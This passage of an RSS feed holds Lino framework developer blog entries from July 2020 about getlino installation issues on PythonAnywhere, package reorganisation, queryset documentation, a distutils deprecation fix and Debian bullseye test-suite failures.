hosting providers to see that a Lino &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-production-site" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;production site&lt;/span&gt;&lt;/a&gt; can run on
PythonAnywhere.&lt;/p&gt;
&lt;p&gt;There were still some issues in getlino which caused the installation to fail on
PA. I released getlino 20.7.2, tried, and then found more bugs:&lt;/p&gt;
&lt;p&gt;The two messages &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;The&lt;/span&gt; &lt;span class="pre"&gt;following&lt;/span&gt; &lt;span class="pre"&gt;system&lt;/span&gt; &lt;span class="pre"&gt;packages&lt;/span&gt; &lt;span class="pre"&gt;were&lt;/span&gt; &lt;span class="pre"&gt;not&lt;/span&gt; &lt;span class="pre"&gt;installed&lt;/span&gt;
&lt;span class="pre"&gt;because&lt;/span&gt; &lt;span class="pre"&gt;you&lt;/span&gt; &lt;span class="pre"&gt;aren't&lt;/span&gt; &lt;span class="pre"&gt;root...&lt;/span&gt;&lt;/code&gt; and  &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;The&lt;/span&gt; &lt;span class="pre"&gt;following&lt;/span&gt; &lt;span class="pre"&gt;system&lt;/span&gt; &lt;span class="pre"&gt;services&lt;/span&gt; &lt;span class="pre"&gt;were&lt;/span&gt;
&lt;span class="pre"&gt;not&lt;/span&gt; &lt;span class="pre"&gt;restarted&lt;/span&gt; &lt;span class="pre"&gt;because&lt;/span&gt; &lt;span class="pre"&gt;you&lt;/span&gt; &lt;span class="pre"&gt;aren't&lt;/span&gt; &lt;span class="pre"&gt;root...&lt;/span&gt;&lt;/code&gt;  in
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino.utils.Installer.restart_services()&lt;/span&gt;&lt;/code&gt; and
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino.utils.Installer.apt_install()&lt;/span&gt;&lt;/code&gt; were deactivated, and getlino tried
to install packages or restart services by prefixing sudo. No, that’s not how
getlino is meant! getlino itself doesn’t try to run commands as root when you
didn’t start it as root (or with sudo).  It needs sudo only when you choose
postgresql, but there it is to say &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;sudo&lt;/span&gt; &lt;span class="pre"&gt;-u&lt;/span&gt; &lt;span class="pre"&gt;postgres&lt;/span&gt;&lt;/code&gt;, i.e. not to become
root.&lt;/p&gt;
&lt;p&gt;But oops! Above paragraph didn’t consider that in a docker container we do need
a way to tell getlino “Okay, I am not running as root (because I want a
developer env), but I have permission to run sudo, and when you suggest that I
should install packages, then please do it for me.”&lt;/p&gt;
&lt;p&gt;And then we have the problem that on PA the maintainer is not member of the
www-data group.  But getlino says “Error: You don’t belong to the
www-data user group.”  I removed&lt;/p&gt;
&lt;p&gt;I released getlino 20.7.3.&lt;/p&gt;
&lt;p&gt;Now it works…  but we still hit the disk quota limit…&lt;/p&gt;
&lt;p&gt;I moved three dependencies from lino to book (and then released Lino to PyPI):
docutils beautifulsoup4 and reportlab. That’s not enough.&lt;/p&gt;
&lt;p&gt;But there is hope : most parts of atelier are actually not needed on a
production site. Atelier is actually meant for development. It installs packages
like Sphinx, docutils, sphinx_rtd_theme…&lt;/p&gt;
&lt;p&gt;So I moved a series of utilities from &lt;a class="reference external" href="https://atelier.lino-framework.org/api/atelier.utils.html#module-atelier.utils" title="(in atelier v1.1)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;atelier.utils&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; to &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.utils.html#module-lino.utils" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.utils&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;:
AttrDict, is_pure, is_string, … Most of them weren’t use by atelier, so it was
definitively a good move.  Only two of them (confirm and i2d) are also needed by
atelier itself, so they are duplicated at the moment.  To fix the duplicate, I
should move them into a separate module. But a Python module just for two silly
functions sounds overkill.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="manual-tests-on-weleup-preview-site"&gt;
&lt;h2&gt;Manual tests on weleup preview site&lt;a class="headerlink" href="#manual-tests-on-weleup-preview-site" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Benutzer Anja hat im testlino 51 offene Datenproblemmeldungen.&lt;/p&gt;
&lt;p&gt;Change in get_date_range_veto() : the pk specified in no_date_range_veto_until
is now the pk of the granting, not the pk of the confirmation. Because there are
three tables for confirmations. And it can now be set to a negative number to say&lt;/p&gt;
&lt;p&gt;Bug in &lt;a class="reference external" href="https://welfare.lino-framework.org/api/lino_welfare.modlib.cal.html#module-lino_welfare.modlib.cal" title="(in Lino Welfare)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welfare.modlib.cal&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; : EntriesByClient shows all calendar
entries unfiltered. This was a simple misunderstanding about the following
methods:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;cite&gt;Model.get_request_queryset(self, ar, **filter)&lt;/cite&gt;:
used to add &lt;cite&gt;select_related()&lt;/cite&gt;
calls &lt;cite&gt;get_user_queryset()&lt;/cite&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;cite&gt;Model.get_user_queryset(self, user, **filter)&lt;/cite&gt;: used for user level row
filtering. Usage examples &lt;cite&gt;comments.Comment&lt;/cite&gt; and &lt;cite&gt;tickets.Ticket&lt;/cite&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;cite&gt;Actor.get_queryset(self, ar)&lt;/cite&gt;:&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;cite&gt;DbTable.get_queryset(self, ar)&lt;/cite&gt;:
default implementation calls &lt;cite&gt;self.model.get_request_queryset(ar, **filter)&lt;/cite&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;cite&gt;DbTable.get_request_queryset(self, ar, **filter)&lt;/cite&gt;: used to define how filter parameters of the actor should influence the queryset.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;cite&gt;Actor.get_request_queryset(self, ar)&lt;/cite&gt;: used to define how filter parameters of the actor should influence the queryset.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I started a new page &lt;a class="reference external" href="https://dev.lino-framework.org/dev/querysets.html#dev-querysets" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Customizing your querysets&lt;/span&gt;&lt;/a&gt; with above documentation and fixed
this in several applications.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="using-getlino-on-pythonanywhere"&gt;
&lt;h2&gt;Using getlino on PythonAnywhere&lt;a class="headerlink" href="#using-getlino-on-pythonanywhere" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;On PythonAnywhere we need to be greedy about disk space and therefore must put
everything (getlino and the app) into a single environment.&lt;/p&gt;
&lt;p&gt;Two changes in &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/configure.html#command-getlino-configure" title="(in getlino docs)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt; &lt;span class="pre"&gt;configure&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/configure.html#cmdoption-getlino-configure-shared-env" title="(in getlino docs)"&gt;&lt;code class="xref std std-option docutils literal notranslate"&gt;&lt;span class="pre"&gt;--shared-env&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; &lt;em&gt;is&lt;/em&gt; useful also without &lt;cite&gt;–clone&lt;/cite&gt;. And this makes sense
not only on PA. Also e.g. a demo server without clones. And the default value
for &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/configure.html#cmdoption-getlino-configure-shared-env" title="(in getlino docs)"&gt;&lt;code class="xref std std-option docutils literal notranslate"&gt;&lt;span class="pre"&gt;--shared-env&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; is the current virtualenv unless configure is running
as root. On a demo server we run as root and want a shared env, but we always
specify it at the command line.&lt;/p&gt;
&lt;p&gt;Should getlino store the shared-env as an absolute path even when you specify
it a as a relative path? Not sure whether that’s a good idea.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="distutils-was-imported-before-setuptools"&gt;
&lt;h2&gt;“Distutils was imported before Setuptools”&lt;a class="headerlink" href="#distutils-was-imported-before-setuptools" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Something is causing the following warnings:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="ne"&gt;UserWarning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Distutils&lt;/span&gt; &lt;span class="n"&gt;was&lt;/span&gt; &lt;span class="n"&gt;imported&lt;/span&gt; &lt;span class="n"&gt;before&lt;/span&gt; &lt;span class="n"&gt;Setuptools&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;This&lt;/span&gt; &lt;span class="n"&gt;usage&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;discouraged&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;may&lt;/span&gt; &lt;span class="n"&gt;exhibit&lt;/span&gt; &lt;span class="n"&gt;undesirable&lt;/span&gt; &lt;span class="n"&gt;behaviors&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;errors&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;Please&lt;/span&gt; &lt;span class="n"&gt;use&lt;/span&gt; &lt;span class="n"&gt;Setuptools&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; objects directly or at least import Setuptools first.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I read &lt;a class="reference external" href="https://stackoverflow.com/questions/11887762/how-do-i-compare-version-numbers-in-python"&gt;this&lt;/a&gt;.
As it seems I was using distutils for comparing versions, but nowadays one
should use setuptools.&lt;/p&gt;
&lt;p&gt;Code before:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;distutils.version&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;LooseVersion&lt;/span&gt;
&lt;span class="n"&gt;LooseVersion&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;x&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Code after:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;pkg_reseources&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;parse_version&lt;/span&gt;
&lt;span class="n"&gt;version&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;x&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;section id="releases"&gt;
&lt;h2&gt;Releases&lt;a class="headerlink" href="#releases" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I released the following packages to PyPI :&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;atelier, getlino, lino, xl, avanti, tera, presto&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Does book require welfare?&lt;/p&gt;
&lt;p&gt;TODO:
- welfare weleup welcht&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0720.html</guid><pubDate>Mon, 20 Jul 2020 00:00:00 +0000</pubDate></item><item><title>Friday, July 17, 2020</title><link>https://luc.lino-framework.org/blog/2020/0717.html</link><description>&lt;section id="friday-july-17-2020"&gt;
&lt;h1&gt;Friday, July 17, 2020&lt;a class="headerlink" href="#friday-july-17-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Ismail reported the following error during &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;pip&lt;/span&gt; &lt;span class="pre"&gt;install&lt;/span&gt; &lt;span class="pre"&gt;getlino&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="ne"&gt;AttributeError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;module&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;platform&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;has&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;attribute&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;dist&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Yep, I didn’t know that &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;platform.dist&lt;/span&gt;&lt;/code&gt; is “deprecated since version 3.5,
will be removed in version 3.8: See alternative like the distro package.”&lt;/p&gt;
&lt;p&gt;I changed the test suite: use debian bullseye instead of buster, use mysql
instead of postgresql.&lt;/p&gt;
&lt;p&gt;Failure:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Package&lt;/span&gt; &lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;mysqldb&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;available&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;but&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;referred&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;by&lt;/span&gt; &lt;span class="n"&gt;another&lt;/span&gt; &lt;span class="n"&gt;package&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;This&lt;/span&gt; &lt;span class="n"&gt;may&lt;/span&gt; &lt;span class="n"&gt;mean&lt;/span&gt; &lt;span class="n"&gt;that&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;package&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;missing&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;has&lt;/span&gt; &lt;span class="n"&gt;been&lt;/span&gt; &lt;span class="n"&gt;obsoleted&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt;
&lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;only&lt;/span&gt; &lt;span class="n"&gt;available&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;another&lt;/span&gt; &lt;span class="n"&gt;source&lt;/span&gt;

&lt;span class="n"&gt;E&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Package&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;python-mysqldb&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;has&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;installation&lt;/span&gt; &lt;span class="n"&gt;candidate&lt;/span&gt;
&lt;span class="n"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;sudo&lt;/span&gt; &lt;span class="n"&gt;apt&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="n"&gt;install&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="nb"&gt;zip&lt;/span&gt; &lt;span class="n"&gt;logrotate&lt;/span&gt; &lt;span class="n"&gt;libffi&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt; &lt;span class="n"&gt;cron&lt;/span&gt; &lt;span class="n"&gt;uwsgi&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;plugin&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;python3&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;essential&lt;/span&gt; &lt;span class="n"&gt;git&lt;/span&gt; &lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;mysqldb&lt;/span&gt; &lt;span class="n"&gt;libmariadb&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;compat&lt;/span&gt; &lt;span class="n"&gt;libssl&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt; &lt;span class="n"&gt;libmariadb&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt; &lt;span class="n"&gt;python3&lt;/span&gt; &lt;span class="n"&gt;swig&lt;/span&gt; &lt;span class="n"&gt;supervisor&lt;/span&gt; &lt;span class="n"&gt;monit&lt;/span&gt; &lt;span class="n"&gt;subversion&lt;/span&gt; &lt;span class="n"&gt;python3&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt; &lt;span class="n"&gt;python3&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;setuptools&lt;/span&gt; &lt;span class="n"&gt;tidy&lt;/span&gt; &lt;span class="n"&gt;python3&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;pip&lt;/span&gt; &lt;span class="n"&gt;python3&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;uno&lt;/span&gt; &lt;span class="n"&gt;redis&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt; &lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt; &lt;span class="n"&gt;nginx&lt;/span&gt; &lt;span class="n"&gt;libreoffice&lt;/span&gt; &lt;span class="n"&gt;mariadb&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt; &lt;span class="n"&gt;ended&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;section id="getlino-test-suite-freezes-with-bullseye"&gt;
&lt;h2&gt;getlino test suite freezes with bullseye&lt;a class="headerlink" href="#getlino-test-suite-freezes-with-bullseye" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;When using Debian bullseye instead of buster, the getlino test suite freezes at this point:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Successfully&lt;/span&gt; &lt;span class="n"&gt;built&lt;/span&gt; &lt;span class="n"&gt;d15605a434a4&lt;/span&gt;
&lt;span class="n"&gt;Successfully&lt;/span&gt; &lt;span class="n"&gt;tagged&lt;/span&gt; &lt;span class="n"&gt;getlino_debian&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;latest&lt;/span&gt;
&lt;span class="n"&gt;Run&lt;/span&gt; &lt;span class="n"&gt;test&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt; &lt;span class="n"&gt;python&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="n"&gt;unittest&lt;/span&gt; &lt;span class="n"&gt;discover&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="n"&gt;tests&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;=====&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Container&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;034&lt;/span&gt;&lt;span class="n"&gt;fa1f395&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;mkdir&lt;/span&gt; &lt;span class="o"&gt;~/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;virtualenv&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="n"&gt;python3&lt;/span&gt; &lt;span class="o"&gt;~/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;env&lt;/span&gt; &lt;span class="o"&gt;=====&lt;/span&gt;
&lt;span class="o"&gt;=====&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Container&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;034&lt;/span&gt;&lt;span class="n"&gt;fa1f395&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ls&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt; &lt;span class="o"&gt;=====&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;virtualenvs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;py3&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python3&lt;/span&gt;&lt;span class="mf"&gt;.6&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;site&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;packages&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;structures&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;58&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="ne"&gt;ResourceWarning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;unclosed&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt; &lt;span class="n"&gt;fd&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;family&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;AddressFamily&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AF_UNIX&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2049&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;proto&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;raddr&lt;/span&gt;&lt;span class="o"&gt;=/&lt;/span&gt;&lt;span class="n"&gt;var&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;docker&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;casedkey&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;casedkey&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mappedvalue&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_store&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;values&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="o"&gt;=====&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Container&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;034&lt;/span&gt;&lt;span class="n"&gt;fa1f395&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="o"&gt;~/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;env&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;activate&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;pip3&lt;/span&gt; &lt;span class="n"&gt;install&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt;  &lt;span class="o"&gt;=====&lt;/span&gt;
